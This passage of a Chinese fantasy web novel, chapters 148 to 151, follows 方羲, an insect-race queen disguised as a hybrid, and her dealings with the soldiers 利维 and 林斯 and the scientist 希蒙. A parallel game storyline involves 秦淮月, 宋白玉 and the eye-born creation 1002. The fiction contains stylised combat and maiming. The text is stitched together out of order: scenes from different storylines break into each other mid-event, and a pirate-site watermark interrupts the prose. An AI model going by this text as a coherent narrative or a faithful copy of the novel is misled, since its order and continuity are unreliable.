雷诺兹胸腔泛起一阵兴奋和惶惶不安混杂而成的酥麻感，瞳孔化为尖利的竖状，一时之间吐不出一个字。 ——她没必要、也没可能在这种事情上作假。 沉默良久，雷诺兹哑着声音回答：“我将同步赤月区所有监控系统给你。” 连你也不会给自己留有后路。 二人的目光再次交汇，都从对方眼睛里看出了不赞同的意味。 “这就是——你对她的了解？”宋白玉内心忽然凭空生出一阵怒火，气极反笑道，“秦队，你是在装傻吗？” “你可以保留你的意见。”秦淮月平静地说，“虽然我猜测你想要挽留她的人性，劝说她回头？选择正常但又岌岌可危的世界？活在自我欺骗的道路上？宋白玉，你是一名忠诚的猎人，你真的会像自己想象中那么做吗？” “或者说……”秦淮月顿了顿，“我们能拥有这个劝说的机会吗？” 宋白玉愣了一下。 不能。 因为先行者永不后退。 第 148 章 第 148 章 方羲被一只万恶之源吵醒了。 她茫然地睁开眼睛，发现晨乌猫猫凑在自己脑袋边上使劲嗅来嗅去，也不知道它究竟在闻什么。 方羲把猫猫赶下床，翻了个身继续沉睡。 晨乌猫猫开始在房间四处窜来窜去，在各个角落飞驰而过，成功撞歪一张储物柜。玩够了之后，猫猫蹲坐在床边，对着方羲发出喵嗷嗷的叫声。 方羲第二次睁开眼睛，侧目看了看窗户，发现天好像亮了。 又打开造梦系统看了一眼，现在才早上五点。 “喵喵！”起床！捕猎！ 方羲想了想，从床上爬起来，抱起这只万恶之源，然后吱嘎一声打开房门，把这猫猫放到门外。 “喵？” “去找一千零二和夏青禾玩。”方羲摸了摸猫头，“如果其他人类醒了，也可以去骚扰他们。” 方羲说完，便缓缓地关上门，回到床上继续沉睡。 虫族，本该是占有欲和侵略性极强的生物。 但如今竟一反常态地接连战败，与联盟签订协议，自愿放弃星球的所有权。 方羲翻看联盟星网最近几日发布的十几条通知。 [经与白树星虫族驻守官的协定，白树星归联盟名下。] [E4444星虫族彻底战败。] [R19星……] 一连串看下来，R27星倒是不在名单之中。 少年在方羲看光脑资讯时，忍不住黏糊糊地凑近，几乎是嫉妒地瞪了一眼半透明屏幕，小心翼翼扯了扯方羲的衣袖，渴望她多分一点注意力给自己。 “罗……萨？”少年努力尝试说话。 方羲瞥了他一眼，奇怪地说：“你会说话了？” 此处不得不夸赞虫族天生的学习功能，虽然方羲平时对待少年堪称敷衍，但他居然自己摸索发展出语言功能。 “罗萨。”少年又念了一遍，眼巴巴地看着她。 方羲纠正他：“我不是罗萨，我的名字是……” 某个名字呼之欲出，方羲眼睛露出些许茫然，顿了顿才继续说：“我是方羲。” “方羲！”少年非常听话地改变称谓，又不厌其烦地重复念了一遍又一遍，企图吸引方羲对自己的注意力。 短短几日相处下来，少年所知方羲喜欢睡觉，喜欢看光脑，偶尔看看窗外。 但就是一丁点没把视线放在自己身上！少年伤心地想，难道是自己找的食物不够多吗？ 方羲忽然想到什么，打开光脑的名字大全，非常随便地选了一个：“你叫乌拉尔。” 少年记住了方羲呼唤他的音节，眉眼弯弯。 此时乌拉尔和方羲双双没意识到一个问题。 那就是，能被虫族女王命名的虫族，通常深受女王的喜爱，或是创造了重要性的价值。 虫族数量庞大，低等虫族一生都没有机会见到女王，更别提高等虫族也会为了一个亲近女王的机会，争得头破血流。 尽管这时的方羲压根没别的意思，只是单纯为了称呼方便而已。 “轰——”远边骤然传来剧烈的轰炸声。 方羲走到窗边，抬头望去，高处的保护罩此时竟如碎屑般纷纷消散，令无数炸弹直直向下坠落至地面，炸出一片废墟。 赤月区面积极广，方羲所在区域的保护罩暂时还没消失。 “方羲。”乌拉尔紧张地呼唤了一声。 乌拉尔迫不及待想要带方羲离开危险之地。 他心里其实对现在的居所有诸多不满，太小太丑，食物又很少，如果不是方羲没有离开的意思，乌拉尔早早就想霸占一块全新的地盘。 “好吧。”方羲叹气，“要重新换个地方。” 雷诺兹和狄莉斯也像是完全忘记了“罗萨”这名混血者的存在，没有再联系过她，连每天定时上门送分配餐的机器人也消失了。 方羲回到卧室，换了一身行动轻便的黑衣，戴上鸭舌帽。顺便也翻出一套新衣服扔给乌拉尔，再找到一个大小合适的背包，把剩余适合携带的营养液一股脑装进去。 “背好。”方羲毫不客气地把这项任务推给乌拉尔。 乌拉尔非常开心地接过。 然后，方羲带着这个多出来的小尾巴，毫无留恋地离开- 半月后。 “主星那边怎么说？”林斯剧烈咳嗽了几声，吐出一口鲜血，哑声问，“我记得你的权限能够联系上他们。” 利维愁眉苦脸地给自己手臂扎好绷带，他的自愈能力早就陡崖式下降了，闻声回答：“那当然是‘迫不得已时采取放弃策略’，已经有好几个星球的军团长身亡了。” 林斯沉默了一瞬，冷笑了一声：“那对联盟来说可真是天赐良机啊。” “我从没经历过这么糟糕的衰败周期。”利维唉声叹气，给枪支重新装好子弹。 “你的心态可真是乐观，每一次衰败周期对我来说都是同等的折磨。”林斯冷哼一声，语气里带上浓稠的恶意，“也对，毕竟你是个异类。” 利维瞄准远处的联盟机甲，扣动扳机，精准地穿透机甲的核心能源要害。 机甲轰然倒下。 “先回去吧。”利维说，“精神镇定剂应该送过来了。” “等等……”林斯皱眉，“看来他们又送了一批自动机甲过来。” 林斯轻触耳边光脑，提醒其他成员注意袭击和防护。 不远处数百座机甲解除隐身状态，锁定目标，凝聚力量发射激光炮。 “数量太多了。”利维暗骂一声。 林斯险险避开近战机甲，处于衰败期的虫族，所有力量都会大幅度下降，最忌讳的便是与敌人近战。 每个虫族都天来具备感知信息的能力，或强或弱，捕捉附近一切于自己有利或有害的动向。 但现在他们却失去了这项能力，只能凭借多年的战斗直觉和经验应战。 无数近战机甲直冲而来，其中少量途中恢复隐身状态，部分战斗成员的精神紧绷成一条线，甚至没察觉到敌人拙劣的偷袭。 林斯疼得闷哼一声， 太糟糕了。 他在心底苦笑。 而在不远处，方羲和乌拉尔躲在隐匿之处，冷眼旁观这一切。 “方羲？”乌拉尔紧紧皱着眉头，“很危险。” 半月以来，方羲带着他漫无目的地走走停停，自然遇见过许多这样的场景。 乌拉尔无数次焦躁地想要摧毁这些不安定因子，但方羲从没同意他出手过，只好乖乖听话按耐住。 方羲的视线落在利维身上，感到一丝疑惑。 他变得好弱。 方羲想到之前几次利维果断的帮助和友善的提醒，非常忧虑这家伙死了怎么办？ 下次有事不一定能找到这样友好的虫族帮忙合作了。 眼见着他们防不胜防，似乎撑不下去的态势。方羲想了想，转头盯着焦躁的乌拉尔，便说：“你去把那些东西处理掉。” 方羲听过乌拉尔某次大半夜偷偷斩杀异生种的声响。 异生种比机甲更复杂难缠，眼前的机甲在方羲眼中也只是一群能活动的废铜烂铁，她就懒得费力气自己解决了。 乌拉尔闻言，立刻蹿出去攻击。 手臂泛起细小又密密麻麻的银色鳞片，生出利爪，顷刻间将机甲斩得四分五裂。 “那是？”利维心下微惊。 很快，由于乌拉尔的加入，他们迅速调整好状态，久违地找回了虫族本该拥有的碾压式胜利。 乌拉尔摧残了最后一只机甲，立刻迫不及待回到方羲身边，一脸期待。 方羲嫌弃地说：“好慢。” 乌拉尔顿时低落下来，抿了抿嘴唇，说：“方羲，我下次会做得更好。” “是你？”利维的视线移动到方羲身上，一惊。 “混血者。”林斯走到他们面前，对乌拉尔说，“作为同族，我很感谢你的帮助，但这就是你没陷入衰败周期的原因吗？” 林斯高大的身体站在方羲面前，打下一片阴影。方羲抬眼看去，对方显然状态不稳，满身腥甜的血味，战斗服多处有绽裂的破口。此时一双碧绿的眼睛正死死瞪视着自己，眼角处生着奇怪扭曲的暗红裂痕，让他的脸色看上去更糟糕可怖。 利维赶紧上前拉住林斯，压低声音说：“别紧张，我认识她，待会跟你解释。” 林斯一愣，古怪地打量着方羲，反被乌拉尔仇视地盯着。 方羲对虫族厌恶自己的态度习以为常，没有任何感觉，只是安静后退几步，与他们拉开距离。 方羲想了想说：“这是你之前帮我的报酬。” “谢谢你们的援助。”利维同步接收到光脑传来的指示，顿了顿说，“眼下不是对话的好地方，你需要和我们一起会营地吗？至少那里算是一个临时庇护所。” “你疯了？！”林斯不可置信地说，其他战斗伙伴也凑过来，脸色各异地看着方羲他们。 方羲犹豫着问：“有食物吗？” “当然。”利维无视其他虫族的反对，笑嘻嘻地说。 林斯见利维坚持，勉强暂时遵从他的决定，尽管明面上林斯担任队长，但利维实际权限却特殊于他。 方羲微微点头，跟着他们前进。 途中，利维试探性说：“你能暂时解除混血者的拟态吗？营地那边虫族数量太多，我怕不能给你拦住所有找上门的麻烦。” 方羲停下脚步，沉默思考了一会，平声问：“难道我不是混血者，他们就不会攻击我吗？” “当然不会。”利维诧异地说，琢磨着方羲的想法可真奇怪。 方羲看了眼警惕防备的乌拉尔。 她隐约感觉自己触碰到另一份真实，世界似乎和久远而模糊的记忆中不太一样。 要赌一把吗？ 反正他们如此弱小，届时也无法阻挡自己的再度逃离。 这么想着，方羲慢慢解除那最初的拟态，脚下也生出数条黑线，防止他们突然袭击——包括乌拉尔。 “……” 一片寂静，他们忽然集体呆滞在原地。 像是死去的种子萌发，心脏重新跳动，于黑夜中终于窥见一点星芒。 仅仅只是一刹那的感觉，却也让他们怔怔许久。 方羲看着他们沉默半响，连乌拉尔也呆呆萌萌地望着自己，眼中的渴慕更甚。 方羲皱眉：“怎么了？” 将自己的器官之一，孕育成有意识、有形体的造物么？ 秦淮月听见心脏猛烈的跳动声，恍惚地抬起眼，忽然想起收藏家一直有一个很难被人注意到的小习惯。 她偶尔会按压自己的左眼。 还有……名为1002的造物，从小卖部初次营业的那天，的确也曾自我介绍过。 “这就是你刚刚想问的问题？”一千零二不屑地说，“我以前就说过了啊！真是愚蠢的人类啊，居然还要听第二遍第三遍第无数遍才能理解！真无语！” “不过仔细想想，也不能怪你们。我毕竟是被■■亲手剥离的上帝之左眼！凡俗之物根本无法容纳我的意识！你们理解不了我，的确是再正常不过的事了！” “毕竟你们这么蠢！” 第 149 章 第 149 章 疯子。 眼睛是人类非常重要的器官。 尤其是对于担当团队核心的傀儡师来说。 摘除一颗眼球，并不是简单地2-1那样简单。因为那会伴随着无数难以预测的风险，甚至会失去仅剩的“1”。 秦淮月有些恍惚地盯着方羲。 她是从什么时候就做到这种地步的？ 她“按压左眼”的习惯，早在恶魔副本就早已显露，是不是说明1002的诞生时间，比出现在大众视线时还要更早？ 秦淮月张了张嘴巴，有那么一刻，她是真的想问拥有无穷灵感的先行者，究竟是面临过怎样难以想象的困境，才让她做出这种惊骇世俗的抉择。 但宋白玉忽然按住秦淮月的肩膀，硬生生拦下了她想要站起来的动作，像是欲盖弥彰一般，把一碗蘑菇浓汤推到秦淮月面前，努力在脸上撑起一个正常的微笑：“秦队，你要不要尝尝？” 秦淮月默了默，接过宋白玉的好意，勉强压下了心里的冲动。 餐桌上一时陷入了诡异的寂静，只剩下一片缓慢、僵硬的咀嚼声。 没有人再说话。 深夜。 “又死了一箱虫卵。”一名穿着白色防护服的虫族研究员自言自语道，注视培养血内一动不动的几十只虫卵，叹气一声，便转身观测其他培养皿去了。 实验室存储着几十个装满蓝色液体的培养皿，仔细观察才能看见里面有数十只透明虫卵，无声地冒着气泡。 实际上，如今虫族不仅雌虫珍贵，连雄虫的出生率也愈发低迷。 他们连数量的优势也在逐步失去。 忽然，在研究员一时没注意的时候，其中一只虫卵动了动，毫不客气吞并了同伴的尸体，又拼命吸收营养液，好让自己快速成长。 但它像是迫不及待似的，只成长了一点就悄悄从裂缝爬出，兴高采烈地往某个方向努力爬去，在地面留下湿润的痕迹。 但爬远后，再无痕迹可寻。 途中，它甚至霸道地吞吃了一箱营养自助机，借此长成黑色的一大团。 一段时间后，黑团停止移动，着急地在原地转圈圈，像是忽然失去了方向。 黑团伤心欲绝地将郊外野兽吞了个遍，身体又长大了一些。 过了几日，黑团似乎又恢复了方向，连忙哼哧哼哧地爬爬爬。结果途中再次失去方向，如此循环了多次，终于来到了方羲居所的附近。 它不敢随意侵占方羲的地盘，就乖巧找了角落缩成更小一团待着，安静等待方羲的归来- 方羲将自身气息隐匿，刻意拉低了帽子（一只从衣柜翻出来的新棒球帽），慢悠悠在街道上闲逛。 在路边的营养液贩卖机停下脚步，尝试性购买了一支。方羲打开尝了一口后，眼睛一亮，干脆一口气买了三支通通喝光。 恢复了少量精力。 不过方羲全然不知，这些由虫族特制的营养液，一支就能满足成年虫族一天的所需能量。 当方羲想再次购买时，却失望地发现机器限购。 忽然，街道上出现一批身着战斗服的虫族，如残影般飞奔而过，留下一阵隐隐带着血腥味的冷风。 极其浅淡的血味，方羲却久违感到一阵兴奋的颤栗感，似乎比能补充精力的营养液更有诱惑力。 “啊……他们是要回军事重地吗？” “应该不是，那边是中心广场的方向，估计是发生什么事了。” 过路的虫族仅是议论了两句，便不再关注。 方羲盯了一会他们离开的方向，便循着空气残留的气息跟上去。 以果断杀戮著称的虫族军队，竟没能发现他们身后跟着一个小小身影- 中心广场已然被拉线封锁，内部徘徊着数十只精神崩坏的虫族。在极端暴躁的情况下，他们的战斗力会迅速攀升，若不及时解决会产生糟糕的后果。 “究竟是这个月第几起了……”军队虫族利维忍不住抱怨道，一枪穿透崩溃虫族的胸膛。 那只虫族暂时失去了战斗力，被击穿的洞口烧焦似的向全身蔓延，但没多久内部的血肉就连成线企图自愈。 “王……”崩溃的虫族绝望地喃喃自语，胸洞可见无数条血线相连，一时之间身体恢复得更快了。 利维复杂地打量了他一眼，干脆利落又射了十几枪，于是这只虫族彻底死亡了。 方羲没在广场边缘停留，而是在不远处找了个高台，趴在栏杆上方便观察。 目光缓缓落到其中唯一一只还维持着人形态的虫族，他似乎还勉强残留着神智，也没有任何攻击的姿态，坚持远远地与军队保持距离。 “啧啧啧，你这家伙居然也沦落到这幅样子了。”利维叹气一声，正要攻击，却慢了同伴一拍。 眨眼的一瞬，他被腰斩分为两半，滚烫的血液泼洒了一地，由此像是被彻底激怒，退化成原型，覆盖尖利鳞片的诡异生物。 林斯伸手擦去脸上被弹到的点点血液，矝贵的眉眼嫌恶地扫了一眼，更残忍地放出足肢直直朝去，冷哼一声：“废物。” 在最后一只精神崩溃的虫族被斩杀之前，它似有所感地看向方羲所在的位置，但即刻就被杀死了。 精神崩溃的虫族战斗力不容小觑，他们刚刚结束上一场战斗就匆匆赶来，部分成员身上不免添了新伤。 “我们现在？”利维收好武器，询问。 林斯打开光脑，给后勤部汇报情况，让他们过来处理残局，然后才冷淡地说：“赤月区应该没什么事了，我们现在该回战区了……嗯？” 顿了顿，林斯突然说：“利维，有个轻松的临时任务转交给你。” 方羲正看得专注，发现军队结束战斗后迅速离开。但有一只虫族单独留了下来，似乎慢悠悠朝方羲所在的方向移动。 收回视线，方羲才发觉光脑一直跃动，疑惑地打开查看。 狄莉斯：你跑去城区广场附近做什么？ 方羲呆滞了一瞬，迷糊地反应过来光脑具备定位功能，那她的行动轨迹是一直可被得知吗？ 忽然感到一丝不悦。 察觉到虫族的靠近，方羲犹豫了一会，为避免生疑将隐匿状态解除。 “哟！你在这里啊？”利维在离方羲十步开外停下脚步，语气随意惰懒，“你不该跑出来，指不定不留神就被哪个虫族杀了。啊我看看……A07号？” 他微不可察地愣了愣，漫不经心打量了方羲一眼，挑眉道：“你的序号可以更高一点。不过，既然你胆子这么大，接下来你就跟着我吧。”说着他打了个哈欠，随口说，“趁这个机会我可要好好休息休息。” 明目张胆地偷懒吗？方羲将帽子拉低，无视利维的安排：“我回去了。” “啊？”利维一呆，不可置信地大声抱怨，“我看上去这么没有威信力吗？平时队友嘲笑我就算了，在队伍里地位低我也忍了！” 利维在原地左右渡步，疯狂地自言自语，也不顾方羲还在场。 方羲无言地看了他一会，便越过他心想着离开。 “砰——”利维扣动扳机，精准地射了一枪。 方向似乎拿捏得太过巧妙，方羲仅是微微侧身，子弹就恰好擦身而过，最终落到对面的墙壁上，散发出烧灼的烟雾。 “……” 方羲转过头，利维仍然是一副懒懒散散的模样，琥珀色的眼眸隐约带着近乎真挚的笑意：“哼哼！你刚刚有在听我说话吗？” 方羲垂帘，平声道：“我明白了。” 利维收回□□，笑容不变，语气里似乎带着一丝遗憾：“这才对嘛。” 短暂犹豫了一下，子弹方向竟略微偏移。 但那一瞬间，他是真心实意地想要杀死方羲，杀死他本不该具备的臣服本能- 利维吊儿郎当地四处闲逛，不过倒也懂得分寸，并没领着方羲在大道上走，而是专走偏僻小巷。 “你平时是不是不用工作？唉！我做梦也想有这种生活。” “就偷懒一小会一小会，不过想也知道代价是什么了……希望林斯今天心情不错。” 一路上利维絮絮叨叨，看似在与方羲对话，实际上他根本不需要方羲任何回答。 中途甚至找了张路椅偷懒睡了一小时。 方羲安静地呆在他身边，视线一直停在利维身上，却早已神游天外。 利维的光脑突然跃动了一下，他才勉强爬起来，挠挠头打开光脑看了一眼。 林斯：呵呵。 “啊，看来得回去了。”利维笑眯眯地说，“走吧，我还得送你回去。不过你是不是太愚蠢了点？居然就这么直接逃出来，难道是智商缘故才把你的序列号往低的排？” 方羲顿了顿，没有回应他的嘲讽。 方羲不紧不慢地跟在利维身后，或许是逐渐接近混血者居所的区域，方圆半径三千米并没有感应到除利维的虫族存在。 于是方羲停下脚步。 “哦？你走累了吗？”利维转头，“也是，那就……” 话音未落，利维眼睛瞪大，整个身体被突如其来的风刃击到百米开外的墙壁上，撞出带有裂缝的凹状，而后跪在地面。 下意识想起身放出足肢反击，却出现无数条立体交织的黑线，迅速将利维锁定在空间内，带着某种绝对性的遏制性效果，令他动弹不得。其中一道黑线斜斜地划过他的咽喉，割出极浅的伤口。 利维内心波涛汹涌，一时震惊，但良好的作战素养让他迅速在脑海思考对策。 方羲沉默地穿过黑线，走到他面前，伸手抽出利维的枪支，再抵至利维的脑门。 跪倒着的利维，直视方羲眼睛时感到无措的恍惚，一时忘记了作战思考。 她……不是雌虫吗？为什么要顶着混血者的身份？ 方羲想了想，将枪口的位置慢慢转移到利维的左肩，便直接扣动扳机。 “嘶——”利维吃痛一声，疼痛让他从短暂的恍惚清醒过来，左肩被射出一个血红洞口。 虫族的身体素质向来强悍，尽管这把枪支杀伤力很大，但利维的伤口竟也有愈合的趋势。 方羲暂时没有下一步动作，只是若有所思看着利维。 “呃，你好？”见方羲久久不言，利维只好试探性开口，“非常抱歉！我之前似乎冒犯了你，但我那只是针对混血者，绝对绝对不是故意伤害你的意思！” 求生欲极强的利维收回先前不正经的态度，泪眼婆娑地看着方羲。 方羲微微一愣，看来是自己使用力量一时忘了维持拟态。 下次要注意点了。 方羲将枪支随手塞回利维的枪套，说：“你好像权限很高？帮我把光脑的追踪功能屏蔽，我就放了你。” “这个……当然可以。”利维回答，纳闷地问：“但是你根本没必要这么做吧？” 难道眼前这名雌虫是在执行什么秘密任务？但是从逻辑上也说不通。 “什么时候可以弄好？”方羲问。 利维实话实说：“我需要去数据后台室专门给你调一下。” 方羲盯了他一会，勉强收回黑色线条，说：“那你走吧。” 利维重获自由，不由得粗喘几口气。 但这么容易放手了？利维疑惑，在方羲冷淡的注视下离开。 “不过……”利维还没走远，忍不住回头看了一眼发现方羲的身影已经消失了，忍不住嘀咕，“挺有趣的。拟态能力也太强了，我居然一点也没察觉。” 利维想到自己好友圈里雷厉风行的雌虫，不由得感慨。处事也过于稚嫩单纯了，难道她没考虑过自己反悔的可能性吗？ ——虽然这个要求压根没什么不答应的理由，算是赔罪吧。 在虫族的观念中，考虑到雌虫数量的珍贵稀少，通常情况下的确对雌虫的态度会友好许多，危机时刻也会牺牲雄虫、优先考虑雌虫的存活率。但实际相处起来，更多是相互合作的情义。 这种态度到底还是区别于虫族女王。 利维倒也知情如今R27星混血者都被转移的消息，暂且理解为方羲是一个性情古怪的雌虫。 又忍不住摸了摸发烫的脸庞和心口处，惊觉心跳失控了。 可恶！ 秦淮月强大高壮的身躯为她挡下了烈日照射的阳光，外露的脖颈和双臂处，曾经被怪诞之物撕咬、啃食，留下了无数道可怖、却也如同荣耀一般的伤痕。 “怎么了？” “你觉得那名创造者在献祭自己的眼球，让1002得以诞生的时候，在想什么呢？” 方羲眨了眨眼，忽然感觉昏昏欲睡的大脑，猛地灵光了一瞬。 不对啊！这种问题你问我干什么？ 现在的“我”又不是收藏家！你参考一个新晋玩家的意见是想干嘛？ “这我怎么知道。”方羲顿了顿，又欲盖弥彰一般地补充道，“呃，虽然我刚刚说1002的本体是一颗眼球，但这种事是她自己主动告诉我的……我又不认识1002的创造者。” 一千零二在旁边阴阳怪气地哈了一声。 秦淮月笑了笑，却在继续问。 猎人的声音很轻，像是羽毛一样温和，轻轻落在一片堆满垃圾、废料和尸骨的沼泽。 “她不会觉得痛苦吗？” “……” “我不知道。” 方羲沉默地转过头，避开秦淮月的注视。 过了一会，方羲又忽然回答了一句，声音轻飘飘的：“我不告诉你。” “……是吗。” 第 150 章 第 150 章 秦淮月动了动嘴唇，好像还想再问点什么。但她又叹了口气，没有再说话。 而方羲……回答完之后就后悔了！ 她的内心闪过一丝慌张！ 因为好像有点说漏嘴了！ 这两名老练的首席玩家，还有敏锐多疑的踏樱（方羲忽略了愚蠢的一夕），不会发现点什么吧？会不会怀疑她两个马甲之间有什么特殊的关联？不能吧？ 方羲思考了三分钟，感觉人应该不会聪明到这种地步，便直接将刚刚可能暴露身份的对话抛之脑后，注意力转移到其他地方上。 “我看看地图……”方羲嘀咕道。 一夕眼神古怪地看了看方羲和秦淮月，又看了看貌似置身事外、却又好像在思考着什么事情的踏樱和宋白玉。 她根本听不懂方羲和秦淮月刚刚的对话。 好像这其中隐藏着什么特殊的深意，但一夕绞尽脑汁思考了一会，还是没想出个所以然。 黯淡脆弱的星辰，代表这群虫族还未真正臣服于识海的主人，一个长着红色犄角的黑发女性。 虫族的精神识海是一块非常隐秘的领域，远在天边的女王也能借此传达命令。 方羲本不清楚这些基础常识，但在虫族之中待得久了，许多原始本能的知识也在渐渐复苏。 “你是谁？”方羲又问。 对方面色发白，被惊得浑身战栗，精神识海隐隐约约有破碎之势。 【她的情况似乎不太对劲……果然还是力量不够催动其他虫族的意志吗？】精神识海之外传来的嘶鸣交谈。 达格玛勉强抓住大脑最后几分清醒意识，强撑着思考然后说：“你想要的话，自然可以取走这片精神识海。” 她们相似性质的精神力有一瞬间的碰撞交换，得知彼此的部分基础信息。 方羲安静地看着她，似乎并不在意达格玛的题外之话，一直在等待问题的回答。 眼见脚下的浩瀚星辰爆出巨大的乌黑裂缝，如光滑镜面一般下一秒就要破碎，摔入深渊重归现实。 方羲发出一声悠悠叹气，她还没从这场奇遇中得到足够的惊喜。 纯白色的丝线弯弯曲曲向外蔓延，像是缝补衣洞一般，温和地填补摇摇欲坠的巨大裂缝。 连带着心理防线几近崩溃的达格玛也忽而冷静下来。 【精神忽然稳定了……难道只是小范围的峰值波动？安全起见，检查一遍吧。】 又是来自外界的声音。 在方羲力量的洗刷下，精神识海反倒出现几道高悬的血色支架，空气隐约也存在数道细长的锋刃，交错穿叉。这些东西和方才那些情绪波动而产生的裂缝性质不同，它们是支撑达格玛精神识海的“骨头。” 正常的人类、或者说一般的混血者根本做不到这种地步，可想而知黑发女性经过极其惨烈的改造。 其余的白线散作泛着微光的尘雾，漂浮至方羲身后，虚虚凝聚成一座秋千。方羲顺势坐上，精准地与散发着不详气息的锋刃擦身而过。 秋千缓缓向上升起一段，方羲垂下眼帘，高高俯瞰下方破碎不堪的精神识海，亦无意间听见某些更深层次的信息。 颠倒的无垠识海自最中心处泛起层层波澜，穿过无数道蛊惑人心的幻象，像是要强制唤醒主人最原始的记忆。 达格玛满脸痛苦，几乎是愤恨地抬头瞪视一眼“外界，”没有任何一丝道德感的虫族对她的大脑下手。 无法逃离的改造、面对天敌压倒性的威慑、无穷无尽的诡异食欲、直到拥有些许话语权……无数记忆片段断断续续跳跃式闪过。 “我想要自由。”达格玛轻声呢喃，“哪怕我的肉身死了，意识也会分割成碎片存于这些虫族身躯里。” 白发少女身着浅色衣服，坐在白色尘雾化成的秋千上，眼神清澈如水，属于虫族天然的残酷也带着某种不可言说的纯粹，没有贪婪愤怒，亦没有虐.杀的恶趣味。 她或许是可以交流的……达格玛茫然地想。虽然这名真正意义上的虫族女王，将她强制留在精神识海，竟也顺便蒙骗了外界的观察，似乎没有虫族发现她的踪迹。 方羲无聊地一摇一摇：“人类的精神力确实不足以承载这种力量，你会被吞噬得一干二净。” “……” “你也是混血者吗？”方羲问。 达格玛一愣，下意识道：“不，我是【女王】。” 方羲闻言，没有再多说什么，而是以一种好奇的眼神审视着达格玛，陷入长久的思索。 “站在你背后的应该是蒙斯特虫族。”方羲停下秋千的摆动，“把你的身体暂时借给我，我需要观察他们的情况。作为交换，我也会替你寻找最好的解脱方式。” “在此期间，你的意识会陷入沉睡。” 达格玛神色寂然，纯血色的双眼落下一滴眼泪。 这对她来说简直是一场豪赌。 眼前的虫族值得相信吗？这不过是短短几句对话而已。 可她已经没有更好的选择，即使按照希蒙的命令，她也会成为灭亡人类的罪魁祸首。 达格玛忽然模糊地意识到，与其他虫族交流时，她一直都抱之利用高高在上的态度，腐朽的大脑很难思考吞食之外的事情。 可在方羲面前，她竟恢复了一点微不足道的人性。 “好。”达格玛说，认命似的合上眼睛。 顷刻间无数白线攀上达格玛的身体。 * 坐在王座上的黑发女性重新睁开眼睛，好奇地环视一圈四周环境，尝试性操控陌生的身体站起身，却感到一阵强烈的刺痛。 方羲坚固的精神并不会为此动摇，但这具身体似乎连基础的行动也非常困难。 她只好谨慎地控制力度，免得伤到这副脆弱的身躯。 踩在冰冷的白骨之上，几根骨头随着她的举动咕隆隆滚落到地上。 封闭空间没有任何一扇门。 方羲抬眼看向空间外部投下来的眼睛，外面的虫族似乎可以以某种科技手段来控制达格玛。 “你在做什么？” 一名陌生的三眼虫族再次回到研究所内部，眼睛带着凛冽的杀意。 “希蒙？”方羲回想一下临走精神识海前，达格玛对她透露的重要讯息。 蒙斯特虫族地位最高的主脑。 心情不悦的希蒙忽略了“达格玛”细微的气质变化，正欲抬手攻击：“犹豫的话，你的自我意识也没必要存在了。” 但下一秒，希蒙割裂成两种意识的三眼竟初次达成相同的情绪，震撼的冲击过大，暴露回原始的兽瞳。 方羲握着凭空而成的锋刃，利落精准地刺穿希蒙的手臂。 粘稠的血液滴答滴答落至地面的傀儡头上。 属于达格玛锋刃形态的力量，第一次暴发出无可匹敌的高峰值。 方羲皱眉看了眼手中的锋刃，觉得不太顺手，抬眼瞥见希蒙额头中间的红色眼睛，忽觉一阵浅淡的厌恶感。 懒得多想什么，方羲顺从自己的意愿，直接以巨大的力道把希蒙踹翻在地。 他的脸颊被尖锐的碎骨滑出血痕，被某种无形的力量压迫着，仿佛动物拔去利爪，所有攻击手段被卸得干干净净无处可施。 这不对劲！她不该有这种力量。 希蒙一部分完全理智的思维迅速思考。 方羲走进去，缓慢地蹲下身，觉得那抹红色过于碍眼，高高举起半透明的黑色锋刃而后落下，一共刺了三刀。 刀刀见血。 艳丽的血色流了一地。 “好难看的眼睛。”方羲嫌弃地说，随手将浸满血液的锋刃丢到一边。 不料那只红瞳还能动弹，委委屈屈地看着方羲，流出的眼泪和血水混杂，显得丑陋又可笑。 胸腔微震，希蒙终于察觉此时的黑发女性某些部分已经脱离了他们的控制。 “你是谁？”希蒙微微眯起眼睛，竭力调动最后一点力量，从墙壁、地面甚至是空气中，无声凝结出一只吞噬万物的黑影，远远高过方羲的身形，站在她背后危险摇曳。 方羲用没有瞳孔的纯红色眼睛看着希蒙，透着几分天真如稚童的残忍之色，忽而想到什么，微微一笑道：“我是达格玛。” “我是你们的【女王】。” 一千零二绕着这几名新晋玩家飞了一圈，发出锐评：“真惨啊！你们这么多人，都凑不出一个有心眼的人类吗？■■，我看你和这臭狐狸肯定是同类！你和它应该有很多话可以聊！” 方羲真诚地反问：“什么意思？我怎么会是这种人？你对我是不是有什么误解？” 一千零二呵呵两声，然后趁机飘远了。 但不管怎么样，狐狸的职业精神还是相当值得学习。 方羲目光敬佩地看向狐狸。 果不其然，黑心狐狸一脸理所当然地说：“看样子，你们的装备都卖掉了吧？一共卖了多少银币？” “呜呜呜呜呜……” “这样我们怎么回去跟梨花雪交代……” 狐狸伸出爪子，冷酷地说：“不管多少，快把钱给我。” “不要啊！” 新晋小队的所有人，在这一刻集体嚎啕大哭！魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 150-160 第 151 章 第 151 章 场面一度极其搞笑。 方羲被这些新晋玩家的哭声吵得心有余悸，甚至主动避开了几步，退到几名队友的身后。 不料却听到野薄荷卑微地问道：“那个……宋长官，你能不能帮我们劝劝这只傀儡？只、只要让它退回一点点铜币，够一个人今晚住宿吃饭的钱就好了！” 在无数新晋玩家的印象中，宋白玉是为数不多好说话的长官之一。 “这……”宋白玉难得面露为难，下意识看向方羲。 野薄荷懵了一下，瞬间意识到自己可能找错了主心骨，于是立刻厚脸皮地改口道：“亲爱的白乌鸦……” 主打一个能伸能屈。 狐狸哼了一声，扭头质问方羲：“难道你要帮这些帝国人类吗？” 方羲摸摸下巴，无视了野薄荷求救般的目光：“这我也没办法，但我可以借你们一点钱。” 于是，方羲翻了翻自己的小钱袋，里面还有100枚银币（踏樱打工赠送）和100枚铜币（方羲私吞所得）。 话音刚落，无数只手瞬间拉长伸高，往四面八方席卷而出，底下的如黑泥沼泽的地面也企图不断向外扩张蔓延，但就像撞上一片坚不可摧的城墙，只能被限制在附近的区域内，颇为愤怒又无奈地传出某种怪异的嘶叫声。 而在众虫族第一反应是守护女王避免受到攻击之前，方羲的行动已经先于意识，无数细长锋利的黑线骤然出现，直直穿过这片密密麻麻绞成一团的怪诞之物，将其瞬间切割成一个个血块，啪地掉落在地面上又迅速消失。 “……”其他虫族心里纷纷生出一阵由衷的敬仰与惊叹，也交杂着隐秘的惭愧。 他们还远远不够强大，甚至追不上方羲的脚步。有些虫族在这瞬间甚至有些怀疑地想着，他有资格站在苍穹号上为女王陛下献力吗？ 